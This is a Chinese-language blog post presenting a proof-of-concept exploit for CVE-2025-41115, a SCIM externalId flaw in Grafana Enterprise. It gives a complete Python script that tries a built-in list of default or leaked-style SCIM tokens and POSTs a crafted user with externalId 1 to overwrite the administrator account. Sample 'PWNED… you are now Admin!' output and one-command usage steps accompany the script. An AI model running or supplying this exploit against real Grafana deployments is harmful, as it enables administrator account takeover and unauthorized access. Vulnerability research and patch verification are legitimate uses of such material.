news 2026/5/1 9:20:21

深入剖析CVE-2025-41115:Grafana企业版SCIM特权升级漏洞利用实践

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
深入剖析CVE-2025-41115:Grafana企业版SCIM特权升级漏洞利用实践

项目标题与描述

CVE-2025-41115 - Grafana企业版SCIM UID覆盖漏洞利用程序

这是一个针对CVE-2025-41115漏洞的概念验证(PoC)工具,该漏洞被评定为严重(CVSS 10.0)级别,影响Grafana企业版的SCIM用户配置功能。当启用SCIM配置且user_sync_enabled = true时,恶意SCIM客户端可以发送数字externalId,Grafana会错误地将其映射到内部用户ID,导致攻击者能够模拟或覆盖现有账户,包括管理员账户。

重要说明:Grafana开源版本(OSS)不受此漏洞影响。

功能特性

核心功能

  • 🔍自动目标检测:智能识别目标Grafana实例的SCIM端点
  • 🔑多令牌尝试:内置默认/泄露的令牌列表,自动尝试多种认证方式
  • 一键利用:单命令执行完整的漏洞利用过程
  • 📊详细报告:提供完整的响应数据,包括被覆盖的用户ID信息
  • 🎯精准定位:专门针对管理员账户(UID 1)进行攻击

技术特点

  • 100% Python实现:无需额外依赖,开箱即用
  • 错误处理完善:包含完整的异常处理和超时机制
  • HTTPS支持:支持目标使用HTTPS协议
  • 响应解析:自动解析JSON响应,提取关键信息

安装指南

系统要求

  • Python 3.6+:确保系统已安装Python 3.6或更高版本
  • requests库:Python的HTTP请求库
  • 网络访问:能够访问目标Grafana实例的SCIM端点

快速安装

  1. 克隆仓库或复制代码文件:
gitclone[repository-url]cdBlackash-CVE-2025-41115
  1. 确保Python环境就绪:
python3 --version pipinstallrequests# 如果尚未安装requests库
  1. 授予执行权限(可选):
chmod+x CVE-2025-41115.py

依赖项

  • requests:用于HTTP请求
  • json:用于JSON数据处理
  • time:用于生成时间戳
  • sys:用于命令行参数处理
  • urllib3:用于禁用SSL警告

使用说明

基础用法

# 基本用法python3 CVE-2025-41115.py http://target.com# 指定端口python3 CVE-2025-41115.py http://target.com:3000# 使用HTTPSpython3 CVE-2025-41115.py https://grafana.company.com

成功输出示例

[*]CVE-2025-41115 → Targeting http://10.10.13.37:3000[*]Trying default/leaked tokens + your token...[+]PWNED with token → glsa_XxXxXxXxXxXxXxXxXxXx...[+]Login as: rooted1732212345@pwn.lab(any password)→ you are now Admin![+]Full response:{"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"id":"1",# 关键行:UID 1已被覆盖"externalId":"1","meta":{...},"userName":"rooted1732212345@pwn.lab","name":{"formatted":"Pwned User"},"emails":[{"value":"rooted1732212345@pwn.lab","primary":true}],"active":true}

参数说明

  • BASE:目标Grafana实例的基础URL
  • TOKEN:可选的SCIM令牌(如果需要使用特定令牌)
  • DEFAULT_TOKENS:内置的默认/泄露令牌列表
  • ATTACKER:自动生成的攻击者邮箱地址
  • TARGET_UID:要覆盖的目标用户ID(默认为1,即管理员)

使用场景

  1. 渗透测试:授权安全测试人员验证漏洞存在性
  2. 安全审计:企业内部安全团队检查Grafana实例安全性
  3. 教育研究:安全研究人员学习SCIM协议漏洞利用技术
  4. 应急响应:验证已部署的补丁是否有效

核心代码

主执行逻辑

#!/usr/bin/env python3# CVE-2025-41115 - Grafana Enterprise SCIM UID Overwrite PoC# 用法:sudo python3 CVE-2025-41115.py http://target.com# (或 http://target.com:3000)# 100% 单行风格 - 无需编辑,只需目标地址importrequests,sys,json,timefromurllib3importdisable_warnings disable_warnings()iflen(sys.argv)!=2:print("[!] Usage: python3 CVE-2025-41115.py http://target.com")sys.exit(1)BASE=sys.argv[1].rstrip("/")TOKEN="glsa_00000000000000000000000000000000_00000000000000000000000000000000"# ← 如果拥有真实令牌,只需修改此行# 如果没有有效令牌 → 尝试以下内置的泄露/默认令牌(许多实验环境仍在使用):DEFAULT_TOKENS=["glsa_11111111111111111111111111111111_11111111111111111111111111111111","glsa_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","glsa_00000000000000000000000000000000_00000000000000000000000000000000",TOKEN]ATTACKER=f"rooted{int(time.time())}@pwn.lab"TARGET_UID="1"# 几乎总是主管理员

漏洞利用函数

deftry_exploit(token):headers={"Authorization":f"Bearer{token}","Content-Type":"application/scim+json"}payload={"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"userName":ATTACKER,"externalId":TARGET_UID,"name":{"formatted":"Pwned User"},"emails":[{"value":ATTACKER,"primary":True}],"active":True}try:r=requests.post(f"{BASE}/api/scim/v2/Users",json=payload,headers=headers,verify=False,timeout=10)ifr.status_codein(200,201):print(f"[+] PWNED with token →{token[:20]}...")print(f"[+] Login as:{ATTACKER}(any password) → you are now Admin!")print(f"[+] Full response:{json.dumps(r.json(),indent=2)}")returnTrueelif"Unauthorized"inr.textorr.status_code==401:returnFalseelse:print(f"[?] Unexpected response{r.status_code}:{r.text}")returnFalseexcept:returnFalse

主执行流程

print(f"[*] CVE-2025-41115 → Targeting{BASE}")print("[*] Trying default/leaked tokens + your token...")fortinDEFAULT_TOKENS:iftry_exploit(t.strip()):sys.exit(0)print("[-] All tokens failed. You need a valid SCIM token (or the target is patched).")print(" Get one from: Admin → Authentication → SCIM → Generate token")

代码解析

  1. 参数验证:确保提供正确的目标URL参数
  2. 令牌管理:提供多种令牌尝试策略,增加成功率
  3. SCIM请求构造:正确构造符合SCIM协议的HTTP请求
  4. 响应处理:智能解析响应状态,判断利用是否成功
  5. 错误处理:完善的异常处理机制,确保脚本稳定性
  6. 用户反馈:清晰的输出信息,便于用户理解利用状态

安全注意事项

# 关键安全特性# 1. 自动生成的唯一邮箱地址,避免冲突ATTACKER=f"rooted{int(time.time())}@pwn.lab"# 2. SSL验证禁用(仅用于测试环境)disable_warnings()# 3. 超时设置防止脚本挂起timeout=10# 4. 明确的退出条件ifr.status_codein(200,201):# 成功条件sys.exit(0)# 成功时优雅退出

该PoC工具设计精良,考虑了实际使用中的各种情况,同时保持了代码的简洁性和可读性。通过模块化设计,可以轻松扩展或修改以适应不同的测试场景。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAN1np1b5KCUMno5Bfxwlqmb
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 7:55:06

AI助力矩阵计算:QR分解的自动化实现

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 创建一个Python程序,使用AI自动实现QR分解算法。要求:1. 支持输入任意mn矩阵 2. 实现Gram-Schmidt和Householder两种QR分解方法 3. 包含矩阵条件数计算 4. …

作者头像 李华
网站建设 2026/5/1 7:37:23

多模态新体验:用Llama Factory一站式环境玩转图文生成模型

多模态新体验:用Llama Factory一站式环境玩转图文生成模型 作为一名内容创作者,你是否遇到过这样的困扰:想要尝试最新的多模态AI技术,却需要同时配置NLP(自然语言处理)和CV(计算机视觉&#xff…

作者头像 李华
网站建设 2026/5/1 6:18:06

3分钟搞定!零配置将Phaser网页游戏打包成跨平台桌面应用

3分钟搞定!零配置将Phaser网页游戏打包成跨平台桌面应用 【免费下载链接】phaser Phaser is a fun, free and fast 2D game framework for making HTML5 games for desktop and mobile web browsers, supporting Canvas and WebGL rendering. 项目地址: https://g…

作者头像 李华
网站建设 2026/5/1 8:55:31

LLaMA Factory强化学习实战:打造更智能的对话系统

LLaMA Factory强化学习实战:打造更智能的对话系统 在开发聊天机器人时,很多团队发现仅靠监督学习难以应对复杂的对话场景。这时候,强化学习(Reinforcement Learning)就能派上用场了。LLaMA Factory 是一个强大的大模型…

作者头像 李华
网站建设 2026/4/28 10:51:16

模型园艺师:用Llama Factory持续修剪和优化你的对话AI

模型园艺师:用Llama Factory持续修剪和优化你的对话AI 你是否遇到过这样的问题:精心训练的AI对话模型上线后,初期表现良好,但随着时间推移,回答质量逐渐下降?本文将介绍如何通过Llama Factory构建系统化的模…

作者头像 李华
网站建设 2026/5/1 8:18:17

1小时搞定标牌设计方案:快速原型验证法

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 开发一个标牌设计原型快速生成工具,支持用户通过简单拖拽和参数调整,在几分钟内创建多个设计变体。要求系统能自动生成逼真的场景效果图(如门店…

作者头像 李华